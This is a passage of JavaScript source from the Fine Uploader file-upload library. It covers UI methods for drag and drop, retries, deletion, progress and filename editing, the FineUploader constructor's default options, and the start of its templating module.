                    }).getButtonId();
                }
                if (this._dnd) {
                    this._dnd.dispose();
                    this._dnd = this._setupDragAndDrop();
                }
                this._totalFilesInBatch = 0;
                this._filesInBatchAddedToUi = 0;
                this._setupClickAndEditEventHandlers();
            },
            setName: function(id, newName) {
                var formattedFilename = this._options.formatFileName(newName);
                this._parent.prototype.setName.apply(this, arguments);
                this._templating.updateFilename(id, formattedFilename);
            },
            pauseUpload: function(id) {
                var paused = this._parent.prototype.pauseUpload.apply(this, arguments);
                paused && this._templating.uploadPaused(id);
                return paused;
            },
            continueUpload: function(id) {
                var continued = this._parent.prototype.continueUpload.apply(this, arguments);
                continued && this._templating.uploadContinued(id);
                return continued;
            },
            getId: function(fileContainerOrChildEl) {
                return this._templating.getFileId(fileContainerOrChildEl);
            },
            getDropTarget: function(fileId) {
                var file = this.getFile(fileId);
                return file.qqDropTarget;
            }
        };
        qq.uiPrivateApi = {
            _getButton: function(buttonId) {
                var button = this._parent.prototype._getButton.apply(this, arguments);
                if (!button) {
                    if (buttonId === this._defaultButtonId) {
                        button = this._templating.getButton();
                    }
                }
                return button;
            },
            _removeFileItem: function(fileId) {
                this._templating.removeFile(fileId);
            },
            _setupClickAndEditEventHandlers: function() {
                this._fileButtonsClickHandler = qq.FileButtonsClickHandler && this._bindFileButtonsClickEvent();
                this._focusinEventSupported = !qq.firefox();
                if (this._isEditFilenameEnabled()) {
                    this._filenameClickHandler = this._bindFilenameClickEvent();
                    this._filenameInputFocusInHandler = this._bindFilenameInputFocusInEvent();
                    this._filenameInputFocusHandler = this._bindFilenameInputFocusEvent();
                }
            },
            _setupDragAndDrop: function() {
                var self = this, dropZoneElements = this._options.dragAndDrop.extraDropzones, templating = this._templating, defaultDropZone = templating.getDropZone();
                defaultDropZone && dropZoneElements.push(defaultDropZone);
                return new qq.DragAndDrop({
                    dropZoneElements: dropZoneElements,
                    allowMultipleItems: this._options.multiple,
                    classes: {
                        dropActive: this._options.classes.dropActive
                    },
                    callbacks: {
                        processingDroppedFiles: function() {
                            templating.showDropProcessing();
                        },
                        processingDroppedFilesComplete: function(files, targetEl) {
                            templating.hideDropProcessing();
                            qq.each(files, function(idx, file) {
                                file.qqDropTarget = targetEl;
                            });
                            if (files.length) {
                                self.addFiles(files, null, null);
                            }
                        },
                        dropError: function(code, errorData) {
                            self._itemError(code, errorData);
                        },
                        dropLog: function(message, level) {
                            self.log(message, level);
                        }
                    }
                });
            },
            _bindFileButtonsClickEvent: function() {
                var self = this;
                return new qq.FileButtonsClickHandler({
                    templating: this._templating,
                    log: function(message, lvl) {
                        self.log(message, lvl);
                    },
                    onDeleteFile: function(fileId) {
                        self.deleteFile(fileId);
                    },
                    onCancel: function(fileId) {
                        self.cancel(fileId);
                    },
                    onRetry: function(fileId) {
                        self.retry(fileId);
                    },
                    onPause: function(fileId) {
                        self.pauseUpload(fileId);
                    },
                    onContinue: function(fileId) {
                        self.continueUpload(fileId);
                    },
                    onGetName: function(fileId) {
                        return self.getName(fileId);
                    }
                });
            },
            _isEditFilenameEnabled: function() {
                return this._templating.isEditFilenamePossible() && !this._options.autoUpload && qq.FilenameClickHandler && qq.FilenameInputFocusHandler && qq.FilenameInputFocusHandler;
            },
            _filenameEditHandler: function() {
                var self = this, templating = this._templating;
                return {
                    templating: templating,
                    log: function(message, lvl) {
                        self.log(message, lvl);
                    },
                    onGetUploadStatus: function(fileId) {
                        return self.getUploads({
                            id: fileId
                        }).status;
                    },
                    onGetName: function(fileId) {
                        return self.getName(fileId);
                    },
                    onSetName: function(id, newName) {
                        self.setName(id, newName);
                    },
                    onEditingStatusChange: function(id, isEditing) {
                        var qqInput = qq(templating.getEditInput(id)), qqFileContainer = qq(templating.getFileContainer(id));
                        if (isEditing) {
                            qqInput.addClass("qq-editing");
                            templating.hideFilename(id);
                            templating.hideEditIcon(id);
                        } else {
                            qqInput.removeClass("qq-editing");
                            templating.showFilename(id);
                            templating.showEditIcon(id);
                        }
                        qqFileContainer.addClass("qq-temp").removeClass("qq-temp");
                    }
                };
            },
            _onUploadStatusChange: function(id, oldStatus, newStatus) {
                this._parent.prototype._onUploadStatusChange.apply(this, arguments);
                if (this._isEditFilenameEnabled()) {
                    if (this._templating.getFileContainer(id) && newStatus !== qq.status.SUBMITTED) {
                        this._templating.markFilenameEditable(id);
                        this._templating.hideEditIcon(id);
                    }
                }
                if (newStatus === qq.status.UPLOAD_RETRYING) {
                    this._templating.hideRetry(id);
                    this._templating.setStatusText(id);
                    qq(this._templating.getFileContainer(id)).removeClass(this._classes.retrying);
                } else if (newStatus === qq.status.UPLOAD_FAILED) {
                    this._templating.hidePause(id);
                }
            },
            _bindFilenameInputFocusInEvent: function() {
                var spec = qq.extend({}, this._filenameEditHandler());
                return new qq.FilenameInputFocusInHandler(spec);
            },
            _bindFilenameInputFocusEvent: function() {
                var spec = qq.extend({}, this._filenameEditHandler());
                return new qq.FilenameInputFocusHandler(spec);
            },
            _bindFilenameClickEvent: function() {
                var spec = qq.extend({}, this._filenameEditHandler());
                return new qq.FilenameClickHandler(spec);
            },
            _storeForLater: function(id) {
                this._parent.prototype._storeForLater.apply(this, arguments);
                this._templating.hideSpinner(id);
            },
            _onAllComplete: function(successful, failed) {
                this._parent.prototype._onAllComplete.apply(this, arguments);
                this._templating.resetTotalProgress();
            },
            _onSubmit: function(id, name) {
                var file = this.getFile(id);
                if (file && file.qqPath && this._options.dragAndDrop.reportDirectoryPaths) {
                    this._paramsStore.addReadOnly(id, {
                        qqpath: file.qqPath
                    });
                }
                this._parent.prototype._onSubmit.apply(this, arguments);
                this._addToList(id, name);
            },
            _onSubmitted: function(id) {
                if (this._isEditFilenameEnabled()) {
                    this._templating.markFilenameEditable(id);
                    this._templating.showEditIcon(id);
                    if (!this._focusinEventSupported) {
                        this._filenameInputFocusHandler.addHandler(this._templating.getEditInput(id));
                    }
                }
            },
            _onProgress: function(id, name, loaded, total) {
                this._parent.prototype._onProgress.apply(this, arguments);
                this._templating.updateProgress(id, loaded, total);
                if (Math.round(loaded / total * 100) === 100) {
                    this._templating.hideCancel(id);
                    this._templating.hidePause(id);
                    this._templating.hideProgress(id);
                    this._templating.setStatusText(id, this._options.text.waitingForResponse);
                    this._displayFileSize(id);
                } else {
                    this._displayFileSize(id, loaded, total);
                }
            },
            _onTotalProgress: function(loaded, total) {
                this._parent.prototype._onTotalProgress.apply(this, arguments);
                this._templating.updateTotalProgress(loaded, total);
            },
            _onComplete: function(id, name, result, xhr) {
                var parentRetVal = this._parent.prototype._onComplete.apply(this, arguments), templating = this._templating, fileContainer = templating.getFileContainer(id), self = this;
                function completeUpload(result) {
                    if (!fileContainer) {
                        return;
                    }
                    templating.setStatusText(id);
                    qq(fileContainer).removeClass(self._classes.retrying);
                    templating.hideProgress(id);
                    if (self.getUploads({
                        id: id
                    }).status !== qq.status.UPLOAD_FAILED) {
                        templating.hideCancel(id);
                    }
                    templating.hideSpinner(id);
                    if (result.success) {
                        self._markFileAsSuccessful(id);
                    } else {
                        qq(fileContainer).addClass(self._classes.fail);
                        templating.showCancel(id);
                        if (templating.isRetryPossible() && !self._preventRetries[id]) {
                            qq(fileContainer).addClass(self._classes.retryable);
                            templating.showRetry(id);
                        }
                        self._controlFailureTextDisplay(id, result);
                    }
                }
                if (parentRetVal instanceof qq.Promise) {
                    parentRetVal.done(function(newResult) {
                        completeUpload(newResult);
                    });
                } else {
                    completeUpload(result);
                }
                return parentRetVal;
            },
            _markFileAsSuccessful: function(id) {
                var templating = this._templating;
                if (this._isDeletePossible()) {
                    templating.showDeleteButton(id);
                }
                qq(templating.getFileContainer(id)).addClass(this._classes.success);
                this._maybeUpdateThumbnail(id);
            },
            _onUploadPrep: function(id) {
                this._parent.prototype._onUploadPrep.apply(this, arguments);
                this._templating.showSpinner(id);
            },
            _onUpload: function(id, name) {
                var parentRetVal = this._parent.prototype._onUpload.apply(this, arguments);
                this._templating.showSpinner(id);
                return parentRetVal;
            },
            _onUploadChunk: function(id, chunkData) {
                this._parent.prototype._onUploadChunk.apply(this, arguments);
                if (chunkData.partIndex > 0 && this._handler.isResumable(id)) {
                    this._templating.allowPause(id);
                }
            },
            _onCancel: function(id, name) {
                this._parent.prototype._onCancel.apply(this, arguments);
                this._removeFileItem(id);
                if (this._getNotFinished() === 0) {
                    this._templating.resetTotalProgress();
                }
            },
            _onBeforeAutoRetry: function(id) {
                var retryNumForDisplay, maxAuto, retryNote;
                this._parent.prototype._onBeforeAutoRetry.apply(this, arguments);
                this._showCancelLink(id);
                if (this._options.retry.showAutoRetryNote) {
                    retryNumForDisplay = this._autoRetries[id];
                    maxAuto = this._options.retry.maxAutoAttempts;
                    retryNote = this._options.retry.autoRetryNote.replace(/\{retryNum\}/g, retryNumForDisplay);
                    retryNote = retryNote.replace(/\{maxAuto\}/g, maxAuto);
                    this._templating.setStatusText(id, retryNote);
                    qq(this._templating.getFileContainer(id)).addClass(this._classes.retrying);
                }
            },
            _onBeforeManualRetry: function(id) {
                if (this._parent.prototype._onBeforeManualRetry.apply(this, arguments)) {
                    this._templating.resetProgress(id);
                    qq(this._templating.getFileContainer(id)).removeClass(this._classes.fail);
                    this._templating.setStatusText(id);
                    this._templating.showSpinner(id);
                    this._showCancelLink(id);
                    return true;
                } else {
                    qq(this._templating.getFileContainer(id)).addClass(this._classes.retryable);
                    this._templating.showRetry(id);
                    return false;
                }
            },
            _onSubmitDelete: function(id) {
                var onSuccessCallback = qq.bind(this._onSubmitDeleteSuccess, this);
                this._parent.prototype._onSubmitDelete.call(this, id, onSuccessCallback);
            },
            _onSubmitDeleteSuccess: function(id, uuid, additionalMandatedParams) {
                if (this._options.deleteFile.forceConfirm) {
                    this._showDeleteConfirm.apply(this, arguments);
                } else {
                    this._sendDeleteRequest.apply(this, arguments);
                }
            },
            _onDeleteComplete: function(id, xhr, isError) {
                this._parent.prototype._onDeleteComplete.apply(this, arguments);
                this._templating.hideSpinner(id);
                if (isError) {
                    this._templating.setStatusText(id, this._options.deleteFile.deletingFailedText);
                    this._templating.showDeleteButton(id);
                } else {
                    this._removeFileItem(id);
                }
            },
            _sendDeleteRequest: function(id, uuid, additionalMandatedParams) {
                this._templating.hideDeleteButton(id);
                this._templating.showSpinner(id);
                this._templating.setStatusText(id, this._options.deleteFile.deletingStatusText);
                this._deleteHandler.sendDelete.apply(this, arguments);
            },
            _showDeleteConfirm: function(id, uuid, mandatedParams) {
                var fileName = this.getName(id), confirmMessage = this._options.deleteFile.confirmMessage.replace(/\{filename\}/g, fileName), uuid = this.getUuid(id), deleteRequestArgs = arguments, self = this, retVal;
                retVal = this._options.showConfirm(confirmMessage);
                if (qq.isGenericPromise(retVal)) {
                    retVal.then(function() {
                        self._sendDeleteRequest.apply(self, deleteRequestArgs);
                    });
                } else if (retVal !== false) {
                    self._sendDeleteRequest.apply(self, deleteRequestArgs);
                }
            },
            _addToList: function(id, name, canned) {
                var prependData, prependIndex = 0, dontDisplay = this._handler.isProxied(id) && this._options.scaling.hideScaled, record;
                if (this._options.display.prependFiles) {
                    if (this._totalFilesInBatch > 1 && this._filesInBatchAddedToUi > 0) {
                        prependIndex = this._filesInBatchAddedToUi - 1;
                    }
                    prependData = {
                        index: prependIndex
                    };
                }
                if (!canned) {
                    if (this._options.disableCancelForFormUploads && !qq.supportedFeatures.ajaxUploading) {
                        this._templating.disableCancel();
                    }
                    if (!this._options.multiple) {
                        record = this.getUploads({
                            id: id
                        });
                        this._handledProxyGroup = this._handledProxyGroup || record.proxyGroupId;
                        if (record.proxyGroupId !== this._handledProxyGroup || !record.proxyGroupId) {
                            this._handler.cancelAll();
                            this._clearList();
                            this._handledProxyGroup = null;
                        }
                    }
                }
                if (canned) {
                    this._templating.addFileToCache(id, this._options.formatFileName(name), prependData, dontDisplay);
                    this._templating.updateThumbnail(id, this._thumbnailUrls[id], true, this._options.thumbnails.customResizer);
                } else {
                    this._templating.addFile(id, this._options.formatFileName(name), prependData, dontDisplay);
                    this._templating.generatePreview(id, this.getFile(id), this._options.thumbnails.customResizer);
                }
                this._filesInBatchAddedToUi += 1;
                if (canned || this._options.display.fileSizeOnSubmit && qq.supportedFeatures.ajaxUploading) {
                    this._displayFileSize(id);
                }
            },
            _clearList: function() {
                this._templating.clearFiles();
                this.clearStoredFiles();
            },
            _displayFileSize: function(id, loadedSize, totalSize) {
                var size = this.getSize(id), sizeForDisplay = this._formatSize(size);
                if (size >= 0) {
                    if (loadedSize !== undefined && totalSize !== undefined) {
                        sizeForDisplay = this._formatProgress(loadedSize, totalSize);
                    }
                    this._templating.updateSize(id, sizeForDisplay);
                }
            },
            _formatProgress: function(uploadedSize, totalSize) {
                var message = this._options.text.formatProgress;
                function r(name, replacement) {
                    message = message.replace(name, replacement);
                }
                r("{percent}", Math.round(uploadedSize / totalSize * 100));
                r("{total_size}", this._formatSize(totalSize));
                return message;
            },
            _controlFailureTextDisplay: function(id, response) {
                var mode, responseProperty, failureReason;
                mode = this._options.failedUploadTextDisplay.mode;
                responseProperty = this._options.failedUploadTextDisplay.responseProperty;
                if (mode === "custom") {
                    failureReason = response[responseProperty];
                    if (!failureReason) {
                        failureReason = this._options.text.failUpload;
                    }
                    this._templating.setStatusText(id, failureReason);
                    if (this._options.failedUploadTextDisplay.enableTooltip) {
                        this._showTooltip(id, failureReason);
                    }
                } else if (mode === "default") {
                    this._templating.setStatusText(id, this._options.text.failUpload);
                } else if (mode !== "none") {
                    this.log("failedUploadTextDisplay.mode value of '" + mode + "' is not valid", "warn");
                }
            },
            _showTooltip: function(id, text) {
                this._templating.getFileContainer(id).title = text;
            },
            _showCancelLink: function(id) {
                if (!this._options.disableCancelForFormUploads || qq.supportedFeatures.ajaxUploading) {
                    this._templating.showCancel(id);
                }
            },
            _itemError: function(code, name, item) {
                var message = this._parent.prototype._itemError.apply(this, arguments);
                this._options.showMessage(message);
            },
            _batchError: function(message) {
                this._parent.prototype._batchError.apply(this, arguments);
                this._options.showMessage(message);
            },
            _setupPastePrompt: function() {
                var self = this;
                this._options.callbacks.onPasteReceived = function() {
                    var message = self._options.paste.namePromptMessage, defaultVal = self._options.paste.defaultName;
                    return self._options.showPrompt(message, defaultVal);
                };
            },
            _fileOrBlobRejected: function(id, name) {
                this._totalFilesInBatch -= 1;
                this._parent.prototype._fileOrBlobRejected.apply(this, arguments);
            },
            _prepareItemsForUpload: function(items, params, endpoint) {
                this._totalFilesInBatch = items.length;
                this._filesInBatchAddedToUi = 0;
                this._parent.prototype._prepareItemsForUpload.apply(this, arguments);
            },
            _maybeUpdateThumbnail: function(fileId) {
                var thumbnailUrl = this._thumbnailUrls[fileId], fileStatus = this.getUploads({
                    id: fileId
                }).status;
                if (fileStatus !== qq.status.DELETED && (thumbnailUrl || this._options.thumbnails.placeholders.waitUntilResponse || !qq.supportedFeatures.imagePreviews)) {
                    this._templating.updateThumbnail(fileId, thumbnailUrl, this._options.thumbnails.customResizer);
                }
            },
            _addCannedFile: function(sessionData) {
                var id = this._parent.prototype._addCannedFile.apply(this, arguments);
                this._addToList(id, this.getName(id), true);
                this._templating.hideSpinner(id);
                this._templating.hideCancel(id);
                this._markFileAsSuccessful(id);
                return id;
            },
            _setSize: function(id, newSize) {
                this._parent.prototype._setSize.apply(this, arguments);
                this._templating.updateSize(id, this._formatSize(newSize));
            },
            _sessionRequestComplete: function() {
                this._templating.addCacheToDom();
                this._parent.prototype._sessionRequestComplete.apply(this, arguments);
            }
        };
    })();
    qq.FineUploader = function(o, namespace) {
        "use strict";
        var self = this;
        this._parent = namespace ? qq[namespace].FineUploaderBasic : qq.FineUploaderBasic;
        this._parent.apply(this, arguments);
        qq.extend(this._options, {
            element: null,
            button: null,
            listElement: null,
            dragAndDrop: {
                extraDropzones: [],
                reportDirectoryPaths: false
            },
            text: {
                formatProgress: "{percent}% of {total_size}",
                failUpload: "Upload failed",
                waitingForResponse: "Processing...",
                paused: "Paused"
            },
            template: "qq-template",
            classes: {
                retrying: "qq-upload-retrying",
                retryable: "qq-upload-retryable",
                success: "qq-upload-success",
                fail: "qq-upload-fail",
                editable: "qq-editable",
                hide: "qq-hide",
                dropActive: "qq-upload-drop-area-active"
            },
            failedUploadTextDisplay: {
                mode: "default",
                responseProperty: "error",
                enableTooltip: true
            },
            messages: {
                tooManyFilesError: "You may only drop one file",
                unsupportedBrowser: "Unrecoverable error - this browser does not permit file uploading of any kind."
            },
            retry: {
                showAutoRetryNote: true,
                autoRetryNote: "Retrying {retryNum}/{maxAuto}..."
            },
            deleteFile: {
                forceConfirm: false,
                confirmMessage: "Are you sure you want to delete {filename}?",
                deletingStatusText: "Deleting...",
                deletingFailedText: "Delete failed"
            },
            display: {
                fileSizeOnSubmit: false,
                prependFiles: false
            },
            paste: {
                promptForName: false,
                namePromptMessage: "Please name this image"
            },
            thumbnails: {
                customResizer: null,
                maxCount: 0,
                placeholders: {
                    waitUntilResponse: false,
                    notAvailablePath: null,
                    waitingPath: null
                },
                timeBetweenThumbs: 750
            },
            scaling: {
                hideScaled: false
            },
            showMessage: function(message) {
                if (self._templating.hasDialog("alert")) {
                    return self._templating.showDialog("alert", message);
                } else {
                    setTimeout(function() {
                        window.alert(message);
                    }, 0);
                }
            },
            showConfirm: function(message) {
                if (self._templating.hasDialog("confirm")) {
                    return self._templating.showDialog("confirm", message);
                } else {
                    return window.confirm(message);
                }
            },
            showPrompt: function(message, defaultValue) {
                if (self._templating.hasDialog("prompt")) {
                    return self._templating.showDialog("prompt", message, defaultValue);
                } else {
                    return window.prompt(message, defaultValue);
                }
            }
        }, true);
        qq.extend(this._options, o, true);
        this._templating = new qq.Templating({
            log: qq.bind(this.log, this),
            templateIdOrEl: this._options.template,
            containerEl: this._options.element,
            fileContainerEl: this._options.listElement,
            button: this._options.button,
            imageGenerator: this._imageGenerator,
            classes: {
                hide: this._options.classes.hide,
                editable: this._options.classes.editable
            },
            limits: {
                maxThumbs: this._options.thumbnails.maxCount,
                timeBetweenThumbs: this._options.thumbnails.timeBetweenThumbs
            },
            placeholders: {
                waitUntilUpdate: this._options.thumbnails.placeholders.waitUntilResponse,
                thumbnailNotAvailable: this._options.thumbnails.placeholders.notAvailablePath,
                waitingForThumbnail: this._options.thumbnails.placeholders.waitingPath
            },
            text: this._options.text
        });
        if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {
            this._templating.renderFailure(this._options.messages.unsupportedBrowserIos8Safari);
        } else if (!qq.supportedFeatures.uploading || this._options.cors.expected && !qq.supportedFeatures.uploadCors) {
            this._templating.renderFailure(this._options.messages.unsupportedBrowser);
        } else {
            this._wrapCallbacks();
            this._templating.render();
            this._classes = this._options.classes;
            if (!this._options.button && this._templating.getButton()) {
                this._defaultButtonId = this._createUploadButton({
                    element: this._templating.getButton(),
                    title: this._options.text.fileInputTitle
                }).getButtonId();
            }
            this._setupClickAndEditEventHandlers();
            if (qq.DragAndDrop && qq.supportedFeatures.fileDrop) {
                this._dnd = this._setupDragAndDrop();
            }
            if (this._options.paste.targetElement && this._options.paste.promptForName) {
                if (qq.PasteSupport) {
                    this._setupPastePrompt();
                } else {
                    this.log("Paste support module not found.", "error");
                }
            }
            this._totalFilesInBatch = 0;
            this._filesInBatchAddedToUi = 0;
        }
    };
    qq.extend(qq.FineUploader.prototype, qq.basePublicApi);
    qq.extend(qq.FineUploader.prototype, qq.basePrivateApi);
    qq.extend(qq.FineUploader.prototype, qq.uiPublicApi);
    qq.extend(qq.FineUploader.prototype, qq.uiPrivateApi);
    qq.Templating = function(spec) {
        "use strict";
        var FILE_ID_ATTR = "qq-file-id", FILE_CLASS_PREFIX = "qq-file-id-", THUMBNAIL_MAX_SIZE_ATTR = "qq-max-size", THUMBNAIL_SERVER_SCALE_ATTR = "qq-server-scale", HIDE_DROPZONE_ATTR = "qq-hide-dropzone", DROPZPONE_TEXT_ATTR = "qq-drop-area-text", IN_PROGRESS_CLASS = "qq-in-progress", HIDDEN_FOREVER_CLASS = "qq-hidden-forever", fileBatch = {
            content: document.createDocumentFragment(),
            map: {}
        }, isCancelDisabled = false, generatedThumbnails = 0, thumbnailQueueMonitorRunning = false, thumbGenerationQueue = [], thumbnailMaxSize = -1, options = {
            log: null,
            limits: {
                maxThumbs: 0,
                timeBetweenThumbs: 750
            },
            templateIdOrEl: "qq-template",
            containerEl: null,
            fileContainerEl: null,
            button: null,
            imageGenerator: null,
            classes: {
                hide: "qq-hide",
                editable: "qq-editable"
            },
            placeholders: {
                waitUntilUpdate: false,
                thumbnailNotAvailable: null,
                waitingForThumbnail: null
            },
            text: {
                paused: "Paused"
            }
        }, selectorClasses = {
            button: "qq-upload-button-selector",
            alertDialog: "qq-alert-dialog-selector",
            dialogCancelButton: "qq-cancel-button-selector",
            confirmDialog: "qq-confirm-dialog-selector",
            dialogMessage: "qq-dialog-message-selector",
            dialogOkButton: "qq-ok-button-selector",
            promptDialog: "qq-prompt-dialog-selector",
            uploader: "qq-uploader-selector",
            drop: "qq-upload-drop-area-selector",
            list: "qq-upload-list-selector",
            progressBarContainer: "qq-progress-bar-container-selector",
            progressBar: "qq-progress-bar-selector",
            totalProgressBarContainer: "qq-total-progress-bar-container-selector",
            totalProgressBar: "qq-total-progress-bar-selector",
            file: "qq-upload-file-selector",
            spinner: "qq-upload-spinner-selector",
            size: "qq-upload-size-selector",
            cancel: "qq-upload-cancel-selector",
            pause: "qq-upload-pause-selector",
            continueButton: "qq-upload-continue-selector",
            deleteButton: "qq-upload-delete-selector",
            retry: "qq-upload-retry-selector",
            statusText: "qq-upload-status-text-selector",
            editFilenameInput: "qq-edit-filename-selector",
            editNameIcon: "qq-edit-filename-icon-selector",
            dropText: "qq-upload-drop-area-text-selector",
            dropProcessing: "qq-drop-processing-selector",
            dropProcessingSpinner: "qq-drop-processing-spinner-selector",
            thumbnail: "qq-thumbnail-selector"
        }, previewGeneration = {}, cachedThumbnailNotAvailableImg = new qq.Promise(), cachedWaitingForThumbnailImg = new qq.Promise(), log, isEditElementsExist, isRetryElementExist, templateHtml, container, fileList, showThumbnails, serverScale, cacheThumbnailPlaceholders = function() {
            var notAvailableUrl = options.placeholders.thumbnailNotAvailable, waitingUrl = options.placeholders.waitingForThumbnail, spec = {
                maxSize: thumbnailMaxSize,
                scale: serverScale
            };
            if (showThumbnails) {
                if (notAvailableUrl) {
                    options.imageGenerator.generate(notAvailableUrl, new Image(), spec).then(function(updatedImg) {
                        cachedThumbnailNotAvailableImg.success(updatedImg);
                    }, function() {
                        cachedThumbnailNotAvailableImg.failure();
                        log("Problem loading 'not available' placeholder image at " + notAvailableUrl, "error");
                    });
                } else {
                    cachedThumbnailNotAvailableImg.failure();
                }
                if (waitingUrl) {
                    options.imageGenerator.generate(waitingUrl, new Image(), spec).then(function(updatedImg) {
                        cachedWaitingForThumbnailImg.success(updatedImg);
                    }, function() {
                        cachedWaitingForThumbnailImg.failure();
                        log("Problem loading 'waiting for thumbnail' placeholder image at " + waitingUrl, "error");
                    });
                } else {
                    cachedWaitingForThumbnailImg.failure();
                }
            }
        }, displayWaitingImg = function(thumbnail) {
            var waitingImgPlacement = new qq.Promise();
            cachedWaitingForThumbnailImg.then(function(img) {
                maybeScalePlaceholderViaCss(img, thumbnail);
                if (!thumbnail.src) {
                    thumbnail.src = img.src;
                    thumbnail.onload = function() {
                        thumbnail.onload = null;
                        show(thumbnail);
                        waitingImgPlacement.success();
                    };
                } else {
                    waitingImgPlacement.success();
                }
            }, function() {
                hide(thumbnail);
                waitingImgPlacement.success();
            });
            return waitingImgPlacement;
        }, generateNewPreview = function(id, blob, spec) {
            var thumbnail = getThumbnail(id);
            log("Generating new thumbnail for " + id);
            blob.qqThumbnailId = id;
            return options.imageGenerator.generate(blob, thumbnail, spec).then(function() {
                generatedThumbnails++;
                show(thumbnail);
                previewGeneration[id].success();
            }, function() {
                previewGeneration[id].failure();
                if (!options.placeholders.waitUntilUpdate) {
                    maybeSetDisplayNotAvailableImg(id, thumbnail);
                }
            });
        }, generateNextQueuedPreview = function() {
            if (thumbGenerationQueue.length) {
                thumbnailQueueMonitorRunning = true;
                var queuedThumbRequest = thumbGenerationQueue.shift();
                if (queuedThumbRequest.update) {
                    processUpdateQueuedPreviewRequest(queuedThumbRequest);
                } else {
                    processNewQueuedPreviewRequest(queuedThumbRequest);
                }
            } else {
                thumbnailQueueMonitorRunning = false;
            }
        }, getCancel = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.cancel);
        }, getContinue = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.continueButton);
        }, getDialog = function(type) {
            return getTemplateEl(container, selectorClasses[type + "Dialog"]);
        }, getDelete = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.deleteButton);
        }, getDropProcessing = function() {
            return getTemplateEl(container, selectorClasses.dropProcessing);
        }, getEditIcon = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.editNameIcon);
        }, getFile = function(id) {
            return fileBatch.map[id] || qq(fileList).getFirstByClass(FILE_CLASS_PREFIX + id);
        }, getFilename = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.file);
        }, getPause = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.pause);
        }, getProgress = function(id) {
            if (id == null) {
                return getTemplateEl(container, selectorClasses.totalProgressBarContainer) || getTemplateEl(container, selectorClasses.totalProgressBar);
            }
            return getTemplateEl(getFile(id), selectorClasses.progressBarContainer) || getTemplateEl(getFile(id), selectorClasses.progressBar);
        }, getRetry = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.retry);
        }, getSize = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.size);
        }, getSpinner = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.spinner);
        }, getTemplateEl = function(context, cssClass) {
            return context && qq(context).getFirstByClass(cssClass);
        }, getThumbnail = function(id) {
            return showThumbnails && getTemplateEl(getFile(id), selectorClasses.thumbnail);
        }, hide = function(el) {
            el && qq(el).addClass(options.classes.hide);
        }, maybeScalePlaceholderViaCss = function(placeholder, thumbnail) {
            var maxWidth = placeholder.style.maxWidth, maxHeight = placeholder.style.maxHeight;
            if (maxHeight && maxWidth && !thumbnail.style.maxWidth && !thumbnail.style.maxHeight) {
                qq(thumbnail).css({
                    maxWidth: maxWidth,
                    maxHeight: maxHeight
                });
            }
        }, maybeSetDisplayNotAvailableImg = function(id, thumbnail) {
            var previewing = previewGeneration[id] || new qq.Promise().failure(), notAvailableImgPlacement = new qq.Promise();
            cachedThumbnailNotAvailableImg.then(function(img) {
                previewing.then(function() {
                    notAvailableImgPlacement.success();
                }, function() {
                    maybeScalePlaceholderViaCss(img, thumbnail);
                    thumbnail.onload = function() {
                        thumbnail.onload = null;
                        notAvailableImgPlacement.success();
                    };
                    thumbnail.src = img.src;
                    show(thumbnail);
                });
            });
            return notAvailableImgPlacement;
        }, parseAndGetTemplate = function() {
            var scriptEl, scriptHtml, fileListNode, tempTemplateEl, fileListHtml, defaultButton, dropArea, thumbnail, dropProcessing, dropTextEl, uploaderEl;
            log("Parsing template");
            if (options.templateIdOrEl == null) {
                throw new Error("You MUST specify either a template element or ID!");
            }
            if (qq.isString(options.templateIdOrEl)) {
                scriptEl = document.getElementById(options.templateIdOrEl);
                if (scriptEl === null) {
                    throw new Error(qq.format("Cannot find template script at ID '{}'!", options.templateIdOrEl));
                }
                scriptHtml = scriptEl.innerHTML;
            } else {
                if (options.templateIdOrEl.innerHTML === undefined) {
                    throw new Error("You have specified an invalid value for the template option!  " + "It must be an ID or an Element.");
                }
                scriptHtml = options.templateIdOrEl.innerHTML;
            }
            scriptHtml = qq.trimStr(scriptHtml);
            tempTemplateEl = document.createElement("div");
            tempTemplateEl.appendChild(qq.toElement(scriptHtml));
            uploaderEl = qq(tempTemplateEl).getFirstByClass(selectorClasses.uploader);
            if (options.button) {
                defaultButton = qq(tempTemplateEl).getFirstByClass(selectorClasses.button);
                if (defaultButton) {
                    qq(defaultButton).remove();
                }
            }
            if (!qq.DragAndDrop || !qq.supportedFeatures.fileDrop) {
                dropProcessing = qq(tempTemplateEl).getFirstByClass(selectorClasses.dropProcessing);
                if (dropProcessing) {
                    qq(dropProcessing).remove();
                }
            }
            dropArea = qq(tempTemplateEl).getFirstByClass(selectorClasses.drop);
            if (dropArea && !qq.DragAndDrop) {
                log("DnD module unavailable.", "info");
                qq(dropArea).remove();
            }
            if (!qq.supportedFeatures.fileDrop) {
                uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);
                if (dropArea && qq(dropArea).hasAttribute(HIDE_DROPZONE_ATTR)) {
                    qq(dropArea).css({
                        display: "none"
                    });
                }
            } else if (qq(uploaderEl).hasAttribute(DROPZPONE_TEXT_ATTR) && dropArea) {
                dropTextEl = qq(dropArea).getFirstByClass(selectorClasses.dropText);
                dropTextEl && qq(dropTextEl).remove();
            }
            thumbnail = qq(tempTemplateEl).getFirstByClass(selectorClasses.thumbnail);
            if (!showThumbnails) {
                thumbnail && qq(thumbnail).remove();
            } else if (thumbnail) {
                thumbnailMaxSize = parseInt(thumbnail.getAttribute(THUMBNAIL_MAX_SIZE_ATTR));
                thumbnailMaxSize = thumbnailMaxSize > 0 ? thumbnailMaxSize : null;
                serverScale = qq(thumbnail).hasAttribute(THUMBNAIL_SERVER_SCALE_ATTR);
            }
            showThumbnails = showThumbnails && thumbnail;
            isEditElementsExist = qq(tempTemplateEl).getByClass(selectorClasses.editFilenameInput).length > 0;
            isRetryElementExist = qq(tempTemplateEl).getByClass(selectorClasses.retry).length > 0;
            fileListNode = qq(tempTemplateEl).getFirstByClass(selectorClasses.list);
            if (fileListNode == null) {
                throw new Error("Could not find the file list container in the template!");
            }
            fileListHtml = fileListNode.innerHTML;
            fileListNode.innerHTML = "";
